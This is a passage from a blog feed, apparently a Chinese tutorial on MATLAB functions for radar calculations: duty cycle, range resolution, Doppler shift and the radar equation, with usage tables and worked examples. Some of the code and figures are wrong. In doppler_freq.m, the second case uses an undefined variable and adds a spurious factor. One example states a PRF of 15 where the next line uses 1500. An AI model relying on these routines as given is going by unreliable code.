</div></div><div><div><div>198</div></div><div><span>function s = tern(cond, a, b)</span></div></div><div><div><div>199</div></div><div><span>if cond, s = a; else, s = b; end</span></div></div><div><div><div>200</div></div><div><span>end</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.haihengyang.com/posts/paper/matlab-functions/</id>
      <title type="text">常用MATLAB函数及示例</title>
      <published>2026-09-29T00:00:00.000Z</published>
      <updated>2026-09-29T00:00:00.000Z</updated>
      <author><name>YANGHAIHENG</name></author>
      <link rel="alternate" href="https://blog.haihengyang.com/posts/paper/matlab-functions/"/>
      <summary type="text">常用 MATLAB 函数、计算示例及仿真图，整理雷达与信号处理中的实践方法。</summary>
      <content type="html"><![CDATA[<section><h1>一、定义和术语<a href="#一定义和术语"><span>#</span></a></h1><section><h2>MATLAB函数“pulse_train.m”<a href="#matlab函数pulse_trainm"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function [dt, prf, pav, ep, ru] = pulse_train(tau, pri, p_peak)</span></div></div><div><div><div>2</div></div><div><span>% computes duty cycle, average transmitted power, pulse energy, and pulse repetition frequency</span></div></div><div><div><div>3</div></div><div><span>% Inputs:</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>%   tau    == Pulsewidth in seconds</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>%   pri    == Pulse repetition interval in seconds</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>%   p_peak == Peak power in Watts</span></div></div><div><div><div>7</div></div><div><span>%</span></div></div><div><div><div>8</div></div><div><span>% Outputs:</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>%   dt    == Duty cycle - unitless</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>%   prf   == Pulse repetition frequency in Hz</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>%   pa    == Average power in Watts</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>%   ep    == Pulse energy in Joules</span></div></div><div><div><div>13</div></div><div><span><span>    </span></span><span>%   ru    == Unambiguous range in Km</span></div></div><div><div><div>14</div></div><div><span>%</span></div></div><div><div><div>15</div></div><div><span>c = 3e8; % speed of light</span></div></div><div><div><div>16</div></div><div><span>dt = tau / pri;</span></div></div><div><div><div>17</div></div><div><span>prf = 1. / pri;</span></div></div><div><div><div>18</div></div><div><span>pav = p_peak * dt;</span></div></div><div><div><div>19</div></div><div><span>ep = p_peak * tau;</span></div></div><div><div><div>20</div></div><div><span>ru = 1.e-3 * c * pri /2.0;</span></div></div><div><div><div>21</div></div><div><span>return</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>MATLAB函数“pulse_train.m”计算占空因子、平均发射功率、脉冲能量和脉冲重复频率。语法如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[dt,pav,ep,prf,ru]=pulse_train(tau,pri,p_peak)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>其中：</p>

<table><thead><tr><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>符号</td><td>说明</td><td>单位</td><td>状态</td></tr><tr><td><em>tau</em></td><td>脉冲宽度</td><td>s</td><td>输入</td></tr><tr><td><em>pri</em></td><td>PRI</td><td>s</td><td>输入</td></tr><tr><td><em>p_peak</em></td><td>峰值功率</td><td>W</td><td>输入</td></tr><tr><td><em>dt</em></td><td>占空因子</td><td>无</td><td>输出</td></tr><tr><td><em>pav</em></td><td>平均发射功率</td><td>W</td><td>输出</td></tr><tr><td><em>ep</em></td><td>脉冲能量</td><td>J</td><td>输出</td></tr><tr><td><em>prf</em></td><td>PRF</td><td>Hz</td><td>输出</td></tr><tr><td><em>ru</em></td><td>非模糊距离</td><td>km</td><td>输出</td></tr></tbody></table></section><section><h2>MATLAB函数“range_resolution.m”<a href="#matlab函数range_resolutionm"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function [delta_R] = range_resolution(var)</span></div></div><div><div><div>2</div></div><div><span>% This function computes radar range resolution in meters</span></div></div><div><div><div>3</div></div><div><span>%</span></div></div><div><div><div>4</div></div><div><span>% Inputs:</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>% var can be either</span></div></div><div><div><div>6</div></div><div><span><span>        </span></span><span>% var == Bandwidth in Hz</span></div></div><div><div><div>7</div></div><div><span><span>        </span></span><span>% var == Pulsewidth in seconds</span></div></div><div><div><div>8</div></div><div><span>%</span></div></div><div><div><div>9</div></div><div><span>% Outputs:</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>% delta_R == range resolution in meters</span></div></div><div><div><div>11</div></div><div><span>%</span></div></div><div><div><div>12</div></div><div><span>% Bandwidth may be equal to (1/pulse width)==&gt; indicator = seconds</span></div></div><div><div><div>13</div></div><div><span>%</span></div></div><div><div><div>14</div></div><div><span>c = 3.e+8; % speed of light</span></div></div><div><div><div>15</div></div><div><span>indicator = input('Enter 1 for var == Bandwidth, OR 2 for var == Pulsewidth \n');</span></div></div><div><div><div>16</div></div><div><span>switch(indicator)</span></div></div><div><div><div>17</div></div><div><span><span>    </span></span><span>case 1</span></div></div><div><div><div>18</div></div><div><span><span>        </span></span><span>delta_R = c / 2.0 / var; % del_r = c/2B</span></div></div><div><div><div>19</div></div><div><span><span>    </span></span><span>case 2</span></div></div><div><div><div>20</div></div><div><span><span>        </span></span><span>delta_R = c * var / 2.0; % del_r = c*tau/2</span></div></div><div><div><div>21</div></div><div><span>end</span></div></div><div><div><div>22</div></div><div><span>return</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>MATLAB函数“range_resolution.m“计算距离分辨率。语法如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[delta_R]=range_resolution(var,indicator)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>其中：</p>

<table><thead><tr><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>符号</td><td>说明</td><td>单位</td><td>状态</td></tr><tr><td><em>var,indicator</em></td><td>带宽，“hz“</td><td>Hz，无</td><td>输入</td></tr><tr><td><em>var,indicator</em></td><td>脉冲宽度，“s”</td><td>s，无</td><td>输入</td></tr><tr><td><em>delta_R</em></td><td>距离分辨率</td><td>m</td><td>输出</td></tr></tbody></table><p>例：</p><p>非模糊距离为100km的雷达系统，带宽为0.5MHz。计算需要的PRF、PRI、<span><span>ΔR\Delta R</span><span><span><span></span><span>Δ</span><span>R</span></span></span></span>和<span><span>τ\tau</span><span><span><span></span><span>τ</span></span></span></span>。</p><p>解：</p><span><span><span>PRF=c2Ru=3×1082×105=15PRF=\frac{c}{2R_u}=\frac{3\times10^8}{2\times10^5}=15</span><span><span><span></span><span>P</span><span>R</span><span>F</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span><span><span>R</span><span><span><span><span><span><span></span><span><span>u</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span><span></span><span>×</span><span></span><span>1</span><span><span>0</span><span><span><span><span><span><span></span><span><span>5</span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>3</span><span></span><span>×</span><span></span><span>1</span><span><span>0</span><span><span><span><span><span><span></span><span><span>8</span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>15</span></span></span></span></span><span><span><span>PRI=1PRF=11500=0.6667msPRI=\frac{1}{PRF}=\frac{1}{1500}=0.6667ms</span><span><span><span></span><span>P</span><span>R</span><span>I</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>P</span><span>R</span><span>F</span></span></span><span><span></span><span></span></span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>1500</span></span></span><span><span></span><span></span></span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>0.6667</span><span>m</span><span>s</span></span></span></span></span><p>使用函数“<em>range_resolution</em>”，得</p><span><span><span>ΔR=c2B=3×1082×0.5×106=300m\Delta R=\frac{c}{2B}=\frac{3\times10^8}{2\times0.5\times10^6}=300m</span><span><span><span></span><span>Δ</span><span>R</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span><span>B</span></span></span><span><span></span><span></span></span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span><span></span><span>×</span><span></span><span>0.5</span><span></span><span>×</span><span></span><span>1</span><span><span>0</span><span><span><span><span><span><span></span><span><span>6</span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>3</span><span></span><span>×</span><span></span><span>1</span><span><span>0</span><span><span><span><span><span><span></span><span><span>8</span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>300</span><span>m</span></span></span></span></span><span><span><span>τ=2ΔRc=2×3003×108=2μs\tau = \frac{2\Delta R}{c}=\frac{2\times300}{3\times10^8}=2\mu s</span><span><span><span></span><span>τ</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>c</span></span></span><span><span></span><span></span></span><span><span></span><span><span>2Δ</span><span>R</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>3</span><span></span><span>×</span><span></span><span>1</span><span><span>0</span><span><span><span><span><span><span></span><span><span>8</span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>2</span><span></span><span>×</span><span></span><span>300</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>2</span><span>μ</span><span>s</span></span></span></span></span></section><section><h2>MATLAB函数“droppler_freq.m”<a href="#matlab函数droppler_freqm"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function [fd, tdr] = doppler_freq (freq, ang, tv)</span></div></div><div><div><div>2</div></div><div><span>% This function computes Doppler frequency and time dilation factor ratio</span></div></div><div><div><div>3</div></div><div><span>% tau_prime / tau</span></div></div><div><div><div>4</div></div><div><span>%</span></div></div><div><div><div>5</div></div><div><span>% Inputs:</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>% freq  == radar operating frequency in Hz</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>% ang   == target aspect angle in degrees</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>% tv    == target velocity in m/sec</span></div></div><div><div><div>9</div></div><div><span>%</span></div></div><div><div><div>10</div></div><div><span>% Outputs:</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>% fd    == Doppler frequency in Hz</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>% tdr   == time dilation factor; unitless</span></div></div><div><div><div>13</div></div><div><span>%</span></div></div><div><div><div>14</div></div><div><span>format long</span></div></div><div><div><div>15</div></div><div><span>indicator = input('Enter 1 for closing target, OR 2 for opening target \n');</span></div></div><div><div><div>16</div></div><div><span>c = 3.0e+8;</span></div></div><div><div><div>17</div></div><div><span>ang_rad = ang * pi /180.;</span></div></div><div><div><div>18</div></div><div><span>lambda = c / freq;</span></div></div><div><div><div>19</div></div><div><span>switch(indicator)</span></div></div><div><div><div>20</div></div><div><span><span>    </span></span><span>case 1</span></div></div><div><div><div>21</div></div><div><span><span>        </span></span><span>fd = 2.0 * tv * cos(ang_rad) / lambda;</span></div></div><div><div><div>22</div></div><div><span><span>        </span></span><span>tdr = (c - tv) / (c + tv);</span></div></div><div><div><div>23</div></div><div><span><span>    </span></span><span>case 2</span></div></div><div><div><div>24</div></div><div><span><span>        </span></span><span>fd = -2.0 * c * tv * cos(and_rad) / lambda;</span></div></div><div><div><div>25</div></div><div><span><span>        </span></span><span>tdr = (c + tv) / (c -tv);</span></div></div><div><div><div>26</div></div><div><span>end</span></div></div><div><div><div>27</div></div><div><span>return</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>函数“droppler_freq.m“计算多普勒频率。语法如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[fd,tdr]=doppler_freq(freq,ang,tv,indicator)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>其中：</p>

<table><thead><tr><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>符号</td><td>说明</td><td>单位</td><td>状态</td></tr><tr><td><em>freq</em></td><td>雷达工作频率</td><td>Hz</td><td>输入</td></tr><tr><td><em>ang</em></td><td>姿态角</td><td>度</td><td>输入</td></tr><tr><td><em>tv</em></td><td>目标速度</td><td>m/s</td><td>输入</td></tr><tr><td><em>fd</em></td><td>多普勒频率</td><td>Hz</td><td>输出</td></tr><tr><td><em>tdr</em></td><td>时间扩张因子比<span><span>τ′/τ\tau'/\tau</span><span><span><span></span><span><span>τ</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span><span>/</span><span>τ</span></span></span></span></td><td>无</td><td>输出</td></tr></tbody></table></section></section>
<section><h1>二、基本脉冲和连续波（CW）雷达操作<a href="#二基本脉冲和连续波cw雷达操作"><span>#</span></a></h1><section><h2>MATLAB函数“radar_eq.m”<a href="#matlab函数radar_eqm"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function [snr] = radar_eq(pt, freq, g, sigma, b, nf, loss, range)</span></div></div><div><div><div>2</div></div><div><span>% This function implements Eq. (2.22) of textbook</span></div></div><div><div><div>3</div></div><div><span>%</span></div></div><div><div><div>4</div></div><div><span>% Inputs:</span></div></div><div><div><div>5</div></div><div><span><span>        </span></span><span>% pt        == input peak power in Watts</span></div></div><div><div><div>6</div></div><div><span><span>        </span></span><span>% freq      == radar operating frequency in Hz</span></div></div><div><div><div>7</div></div><div><span><span>        </span></span><span>% g         == antenna gain in dB</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>% sigma     == radar cross section in meter squared</span></div></div><div><div><div>9</div></div><div><span><span>        </span></span><span>% b         == radar bandwidth in Hz</span></div></div><div><div><div>10</div></div><div><span><span>        </span></span><span>% nf        == noise Figure in dB</span></div></div><div><div><div>11</div></div><div><span><span>        </span></span><span>% loss      == total radar losses in dB</span></div></div><div><div><div>12</div></div><div><span><span>        </span></span><span>% range     == range to target (single value or vector) in Km</span></div></div><div><div><div>13</div></div><div><span>%</span></div></div><div><div><div>14</div></div><div><span>% Outputs:</span></div></div><div><div><div>15</div></div><div><span><span>        </span></span><span>% snr       == SNR in dB</span></div></div><div><div><div>16</div></div><div><span>%</span></div></div><div><div><div>17</div></div><div><span>c = 3.0e+8; % speed of light</span></div></div><div><div><div>18</div></div><div><span>lambda = c / freq; % wavelength</span></div></div><div><div><div>19</div></div><div><span>p_peak = 10*log10(pt); % convert peak power to dB</span></div></div><div><div><div>20</div></div><div><span>lambda_sqdb = 10*log10(lambda^2); % compute wavelength square in dB</span></div></div><div><div><div>21</div></div><div><span>sigmadb = 10*log10(sigma); % convert sigma to dB</span></div></div><div><div><div>22</div></div><div><span>four_pi_cub = 10*log10((4.0 * pi)^3); % (4pi)^3 in dB</span></div></div><div><div><div>23</div></div><div><span>k_db = 10*log10(1.38e-23); % Boltzman's constant in dB</span></div></div><div><div><div>24</div></div><div><span>to_db = 10*log10(290); % noise temp. in dB</span></div></div><div><div><div>25</div></div><div><span>b_db = 10*log10(b); % bandwidth in dB</span></div></div><div><div><div>26</div></div><div><span>range_pwr4_db = 10*log10(range.^4); % vector of target range^4 in dB</span></div></div><div><div><div>27</div></div><div><span>% Implement Equation (2.22)</span></div></div><div><div><div>28</div></div><div><span>num = p_peak + g + g + lambda_sqdb + sigmadb;</span></div></div><div><div><div>29</div></div><div><span>den = four_pi_cub + k_db + to_db + b_db + nf + loss + range_pwr4_db;</span></div></div><div><div><div>30</div></div><div><span>snr = num - den;</span></div></div><div><div><div>31</div></div><div><span>return</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>函数“radar_eq.m”执行方程（2.22），语法如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[snr]=radar_eq(pt,freq,g,sigma,b,nf,loss,range)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p><span><span>(SNR)0=PtG2λ2σ(4π)3kTsBLR4(SNR)_0=\frac{P_tG^2\lambda^2\sigma}{(4\pi)^3kT_sBLR^4}</span><span><span><span></span><span>(</span><span>S</span><span>N</span><span>R</span><span><span>)</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>(</span><span>4</span><span>π</span><span><span>)</span><span><span><span><span><span><span></span><span><span>3</span></span></span></span></span></span></span></span><span>k</span><span><span>T</span><span><span><span><span><span><span></span><span><span>s</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>B</span><span>L</span><span><span>R</span><span><span><span><span><span><span></span><span><span>4</span></span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>G</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span><span>λ</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>σ</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></p></blockquote><p>其中：</p>

<table><thead><tr><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>符号</td><td>说明</td><td>单位</td><td>状态</td></tr><tr><td>pt</td><td>峰值功率</td><td>W</td><td>输入</td></tr><tr><td>freq</td><td>雷达中心频率</td><td>Hz</td><td>输入</td></tr><tr><td>g</td><td>天线增益</td><td>dB</td><td>输入</td></tr><tr><td>sigma</td><td>目标截面积</td><td>m2</td><td>输入</td></tr><tr><td>b</td><td>带宽</td><td>Hz</td><td>输入</td></tr><tr><td>nf</td><td>噪声系数</td><td>dB</td><td>输入</td></tr><tr><td>loss</td><td>雷达损耗</td><td>dB</td><td>输入</td></tr><tr><td>range</td><td>目标距离（可以是一个单值或一个向量）</td><td>m</td><td>输入</td></tr><tr><td>snr</td><td>SNR（单值或者向量，取决于目标距离）</td><td>dB</td><td>输出</td></tr></tbody></table><p>函数“radar_eq.m”设计成可以接受一个单值的输入“range”，或一个包含很多距离值的向量。图2.1给出了使用以下输入值得到的典型曲线：峰值功率P_t=1.5MW，工作频率f_0=5.6GHz，天线增益G=45dB，雷达损耗L=6dB，噪声系数F=3dB。雷达带宽B=5MHz。雷达最小和最大探测距离是R_{min}=25km和R_{max}=165km。</p><p><img alt="" loading="lazy" width="1389" height="895" src="/_astro/image-01-c4a1c3692eff.z_m5wgLn_Z2l1YU3.webp" /></p><p><img alt="" loading="lazy" width="1382" height="895" src="/_astro/image-02-da064dc2ef73.CZgLMvYU_1Fxmoh.webp" /></p></section><section><h2>MATLAB函数“lprf_req.m”<a href="#matlab函数lprf_reqm"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function [snr] = lprf_req(pt, g, freq, sigma, np, b, nf, loss, range)</span></div></div><div><div><div>2</div></div><div><span>% This program implements Eq. (2.27) of textbook</span></div></div><div><div><div>3</div></div><div><span>%</span></div></div><div><div><div>4</div></div><div><span>% Inputs:</span></div></div><div><div><div>5</div></div><div><span><span>        </span></span><span>% pt        == input peak power in Watts</span></div></div><div><div><div>6</div></div><div><span><span>        </span></span><span>% freq      == radar operating frequency in Hz</span></div></div><div><div><div>7</div></div><div><span><span>        </span></span><span>% g         == antenna gain in dB</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>% sigma     == radar cross section in meter squared</span></div></div><div><div><div>9</div></div><div><span><span>        </span></span><span>% b         == radar bandwidth in Hz</span></div></div><div><div><div>10</div></div><div><span><span>        </span></span><span>% nf        == noise Figure in dB</span></div></div><div><div><div>11</div></div><div><span><span>        </span></span><span>% np        == number of pulses</span></div></div><div><div><div>12</div></div><div><span><span>        </span></span><span>% loss      == total radar losses in dB</span></div></div><div><div><div>13</div></div><div><span><span>        </span></span><span>% range     == range to target (single value or vector) in Km</span></div></div><div><div><div>14</div></div><div><span>%</span></div></div><div><div><div>15</div></div><div><span>% Outputs:</span></div></div><div><div><div>16</div></div><div><span><span>        </span></span><span>% snr       == SNR in dB</span></div></div><div><div><div>17</div></div><div><span>%</span></div></div><div><div><div>18</div></div><div><span>c = 3.0e+8; % speed of light</span></div></div><div><div><div>19</div></div><div><span>lambda = c / freq; % wavelength</span></div></div><div><div><div>20</div></div><div><span>p_peak = 10*log10(pt); % convert peak power to dB</span></div></div><div><div><div>21</div></div><div><span>lambda_sqdb = 10*log10(lambda^2); % compute wavelength square in dB</span></div></div><div><div><div>22</div></div><div><span>sigmadb = 10*log10(sigma); % convert sigma to dB</span></div></div><div><div><div>23</div></div><div><span>four_pi_cub = 10*log10((4.0 * pi)^3); % (4pi)^3 in dB</span></div></div><div><div><div>24</div></div><div><span>k_db = 10*log10(1.38e-23); % Boltzman's constant in dB</span></div></div><div><div><div>25</div></div><div><span>to_db = 10*log10(290); % noise temp. in dB</span></div></div><div><div><div>26</div></div><div><span>b_db = 10*log10(b); % bandwidth in dB</span></div></div><div><div><div>27</div></div><div><span>np_db = 10.*log10(np); % number of pulses in dB</span></div></div><div><div><div>28</div></div><div><span>range_pwr4_db = 10*log10(range.^4); % vector of target range^4 in dB</span></div></div><div><div><div>29</div></div><div><span>% Implement Equation (1.68)</span></div></div><div><div><div>30</div></div><div><span>num = p_peak + g + g + lambda_sqdb + sigmadb + np_db;</span></div></div><div><div><div>31</div></div><div><span>den = four_pi_cub + k_db + to_db + b_db + nf + loss + range_pwr4_db;</span></div></div><div><div><div>32</div></div><div><span>snr = num - den;</span></div></div><div><div><div>33</div></div><div><span>return</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>函数“lprf_req.m”执行方程（2.27）给出的低PRF下的雷达方程。对于给定的一组输入参数，函数“lprf.m”计算(SNR)_{n_p}。语法如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[snr]=lprf_req(pt,g,freq,sigma,np,b,nf,loss,range)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>其中：</p>

<table><thead><tr><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>符号</td><td>说明</td><td>单位</td><td>状态</td></tr><tr><td><em>pt</em></td><td>峰值功率</td><td>W</td><td>输入</td></tr><tr><td><em>g</em></td><td>天线增益</td><td>dB</td><td>输入</td></tr><tr><td><em>freq</em></td><td>频率</td><td>Hz</td><td>输入</td></tr><tr><td><em>sigma</em></td><td>目标截面积</td><td>m2</td><td>输入</td></tr><tr><td><em>np</em></td><td>脉冲个数</td><td>无</td><td>输入</td></tr><tr><td><em>b</em></td><td>带宽</td><td>Hz</td><td>输入</td></tr><tr><td><em>nf</em></td><td>噪声系数</td><td>dB</td><td>输入</td></tr><tr><td><em>loss</em></td><td>雷达损耗</td><td>dB</td><td>输入</td></tr><tr><td><em>range</em></td><td>目标距离（可以是单值或向量）</td><td>km</td><td>输入</td></tr><tr><td><em>snr</em></td><td>SNR（可以是单值或向量）</td><td>dB</td><td>输出</td></tr></tbody></table><p>图2.2给出用函数“<span><span>lprfreq.mlprf_req.m</span><span><span><span></span><span>l</span><span>p</span><span>r</span><span><span>f</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>e</span><span>q</span><span>.</span><span>m</span></span></span></span>”产生的典型曲线，采用的输入：峰值功率<span><span>Pt=1.5MWP_t=1.5MW</span><span><span><span></span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>1.5</span><span>M</span><span>W</span></span></span></span>，工作频率<span><span>f0=5.6GHzf_0=5.6GHz</span><span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>5.6</span><span>G</span><span>H</span><span>z</span></span></span></span>，天线增益G=45dB，雷达损耗L=6dB，噪声系数F=3dB。雷达带宽B=5MHz。目标RCS为<span><span>σ=0.1m2\sigma=0.1m^2</span><span><span><span></span><span>σ</span><span></span><span>=</span><span></span></span><span><span></span><span>0.1</span><span><span>m</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span>。</p><p><img alt="" loading="lazy" width="1389" height="895" src="/_astro/image-03-16fc9af4f183.HHcQB2Kv_ZPhOe0.webp" /></p><p><img alt="" loading="lazy" width="1382" height="895" src="/_astro/image-04-83b9b14999d6.CcD3J44x_Z2sFcuS.webp" /></p></section><section><h2>MATLAB函数“hprf_req.m”<a href="#matlab函数hprf_reqm"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function [snr] = hprf_req (pt, Ti, g, freq, sigma, dt, range, nf, loss)</span></div></div><div><div><div>2</div></div><div><span>% This program implements Eq. (2.31)of textbook</span></div></div><div><div><div>3</div></div><div><span>%</span></div></div><div><div><div>4</div></div><div><span>% Inputs:</span></div></div><div><div><div>5</div></div><div><span><span>        </span></span><span>% pt        == input peak power in Watts</span></div></div><div><div><div>6</div></div><div><span><span>        </span></span><span>% freq      == radar operating frequency in Hz</span></div></div><div><div><div>7</div></div><div><span><span>        </span></span><span>% g         == antenna gain in dB</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>% sigma     == radar cross section in meter squared</span></div></div><div><div><div>9</div></div><div><span><span>        </span></span><span>% Ti        == time on target in seconds</span></div></div><div><div><div>10</div></div><div><span><span>        </span></span><span>% nf        == noise Figure in dB</span></div></div><div><div><div>11</div></div><div><span><span>        </span></span><span>% dt        == duty cycle</span></div></div><div><div><div>12</div></div><div><span><span>        </span></span><span>% loss      == total radar losses in dB</span></div></div><div><div><div>13</div></div><div><span><span>        </span></span><span>% range     == range to target (single value or vector) in Km</span></div></div><div><div><div>14</div></div><div><span>%</span></div></div><div><div><div>15</div></div><div><span>% Outputs:</span></div></div><div><div><div>16</div></div><div><span><span>        </span></span><span>% snr       == SNR in dB</span></div></div><div><div><div>17</div></div><div><span>%</span></div></div><div><div><div>18</div></div><div><span>c = 3.0e+8; % speed of light</span></div></div><div><div><div>19</div></div><div><span>lambda = c / freq; % wavelength</span></div></div><div><div><div>20</div></div><div><span>pav = 10*log10(pt*dt); % compute average power in dB</span></div></div><div><div><div>21</div></div><div><span>Ti_db = 10*log10(Ti); % time on target in dB</span></div></div><div><div><div>22</div></div><div><span>lambda_sqdb = 10*log10(lambda^2); % compute wavelength square in dB</span></div></div><div><div><div>23</div></div><div><span>sigmadb = 10*log10(sigma); % convert sigma to dB</span></div></div><div><div><div>24</div></div><div><span>four_pi_cub = 10*log10((4.0 * pi)^3); % (4pi)^3 in dB</span></div></div><div><div><div>25</div></div><div><span>k_db = 10*log10(1.38e-23); % Boltzman's constant in dB</span></div></div><div><div><div>26</div></div><div><span>to_db = 10*log10(290); % noise temp. in dB</span></div></div><div><div><div>27</div></div><div><span>range_pwr4_db = 10*log10(range.^4); % vector of target range^4 in dB</span></div></div><div><div><div>28</div></div><div><span>% Implement Equation (1.72)</span></div></div><div><div><div>29</div></div><div><span>num = pav + Ti_db + g + g + lambda_sqdb + sigmadb;</span></div></div><div><div><div>30</div></div><div><span>den = four_pi_cub + k_db + to_db + nf + loss + range_pwr4_db;</span></div></div><div><div><div>31</div></div><div><span>snr = num - den;</span></div></div><div><div><div>32</div></div><div><span>return</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>函数“hprf_req.m”执行方程（2.30）。语法如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[snr]=hprf_req(pt,Ti,g,freq,sigma,dt,range,nf,loss)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p><span><span>SNR=PtτfrTiG2λ2σ(4π)3R4kT0FLSNR=\frac{P_{t}\tau 